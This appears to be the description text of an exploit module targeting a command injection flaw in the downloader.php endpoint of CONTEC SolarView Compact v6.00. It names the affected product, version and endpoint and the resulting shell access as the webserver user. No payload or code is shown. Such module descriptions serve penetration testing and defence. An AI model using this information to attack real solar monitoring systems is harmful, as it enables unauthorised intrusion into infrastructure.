          CONTEC's SolarView™ Series enables you to monitor and visualize solar power and is only available in Japan.
          This module exploits a command injection vulnerability on the SolarView Compact `v6.00` web application
          via vulnerable endpoint `downloader.php`.
          After exploitation, an attacker will have full access with the same user privileges under
          which the webserver is running (typically as user `contec`).
